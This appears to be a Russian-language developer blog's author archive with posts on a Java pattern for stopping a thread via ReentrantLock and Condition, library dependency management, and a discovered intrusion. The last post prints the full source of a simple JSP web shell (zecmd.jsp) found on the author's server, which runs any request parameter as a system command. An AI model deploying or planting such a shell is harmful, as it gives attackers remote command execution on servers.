Author Archives: elwood
Потокобезопасный вариант остановки потока по требованию. Паттерн, который мы повсеместно применяли в .net. В java-мире аналогичное поведение можно более просто реализовать с помощью механизма interruptions, но этот способ более гибок, поскольку во-первых не зависит от тонкостей обработки InterruptException (а это довольно хитрая штука), а во-вторых, более расширяем – например, по сигналу в condition object можно не только завершать выполнение потока, но и передавать какие-то события внутрь потока – например, некоторое действие нужно выполнять либо по таймеру, либо по сигналу. И мы внутри функции потока всегда будем делать нужные операции сразу же по мере необходимости. В отличие от традиционного механизма wait-notify (которое не дает инфы о причине завершения ожидания – таймауте или внешнем сигнале), в этом API мы всегда увидим, когда прошел таймаут. Мы не всегда сможем определить, был ли вызван signal() из-за одного пограничного случая (если и эта информация нужна, то можно её получить просто добавив флаг), но факт прохождения таймаута мы будем знать достоверно.
private ReentrantLock reentrantLock = new ReentrantLock( ); private Condition condition= reentrantLock.newCondition(); private volatile boolean running = false; private static final long PERIOD_MILLISECONDS = 5000; private Thread calculationThread = new Thread( new Runnable() { public void run() { log.info( "Calculation thread started." ); for (;;) { // todo : здесь собственно идёт полезная работа потока reentrantLock.lock(); try { boolean awaitResult = false; // в этом месте мы проверяем running для ситуации, когда stopThread() // был вызван в момент, когда этот поток не находился в ожидании, и вызов // signal() не привел ни к чему if ( !running ) break; try { // При вызове await() занятая нами блокировка будет освобождена // Но при возврате управления метод await() снова должен будет взять блокировку // Интересный механизм, позволяющий нам точно знать, в какой последовательности // будут выполнены инструкции после вызова signal() и собственно пробуждение потока awaitResult = condition.await(PERIOD_MILLISECONDS, TimeUnit.MILLISECONDS ); } catch ( InterruptedException e ) { log.error( "Calculation thread interrupted", e ); break; } // running проверять обязательно, поскольку awaitResult может быть false // даже в случае вызова signal (если к этому времени подошел таймаут) - проверено // Это и есть тот самый пограничный случай if (awaitResult || !running ) break; } finally { reentrantLock.unlock(); } } log.info( "Calculation thread stopped." ); } } ); private void startCalculationThread() { Assert.assertTrue( !running ); log.info( "Starting calculation thread.." ); running = true; calculationThread.start(); } private void stopCalculationThread() { Assert.assertTrue( running ); log.info( "Stopping calculation thread.." ); reentrantLock.lock(); try { running = false; // Посылаем сигнал в наш condition object // Если в это время поток ждет на вызове await(), то он возобновит выполнение // НО только после того, как await() получит блокировку // Таким образом, сначала будет выполнен весь код после вызова signal() - // в нашем случае это запись в лог сообщения, и только потом await() получит блокировку и вернёт управление condition.signal(); log.info("Calculation thread signalled to stop." ); } finally { reentrantLock.unlock(); } // ожидаем завершения потока calculationThread.join(); } |
Все мы пишем библиотеки и библиотечки. Туда складывается реюзабельный код, который сам по себе использует самые разные зависимости, начиная со стандартных библиотек и библиотек логирования и заканчивая навороченными зависимостями, реализующими редко используемую функциональность. В результате “модуль” обрастает кучей зависимостей, и просто так взять и использовать его в разных проектах становится не так уж и удобно. Приходится разделять такой “модуль” на несколько, каждый из которых зависит от своих библиотек. А тут еще и проблемы с версионностью (в одном проекте поменяли – в другом тоже нужно обновлять). И пусть даже с этой проблемой можно справиться (с использованием DVCS, поддерживающих subrepositories), но в любом случае в конечном итоге всё это становится сложно поддерживаемым.
В общем хотелось бы иметь инструментарий, позволяющий делать такие “модули” так, чтобы при подключении кусочков кода из этих модулей проект понимал, какие зависимости необходимо подключить в соответствии с тем, какие куски кода реально используются в проекте. То есть код в этом случае больше рассматривается не как единица сборки, а как набор текстов с метаинформацией, что какому кусочку нужно.
Придя на работу, обнаружил в логах странное :
java.io.IOException: CreateProcess error=2, ?? ??????? ????? ????????? ???? at java.lang.ProcessImpl.create(Native Method) at java.lang.ProcessImpl.<init>(ProcessImpl.java:81) at java.lang.ProcessImpl.start(ProcessImpl.java:30) |
Чуть ниже был обнаружен и источник этого сообщения – zecmd.jsp. Файл этот был быстро найден в директории /default/deploy/management/zecmd.war и содержал примитивный веб-шелл :
<%@ page import="java.util.*,java.io.*" %>
<% %>
<HTML>
<BODY>
<FORM METHOD="GET" NAME="comments" ACTION="">
<INPUT TYPE="text" NAME="comment">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre> <% if (request.getParameter("comment") != null) {
out.println("Command: " + request.getParameter("comment") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("comment"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while (disr != null) {
out.println(disr);
disr = dis.readLine();
}
} %> |
0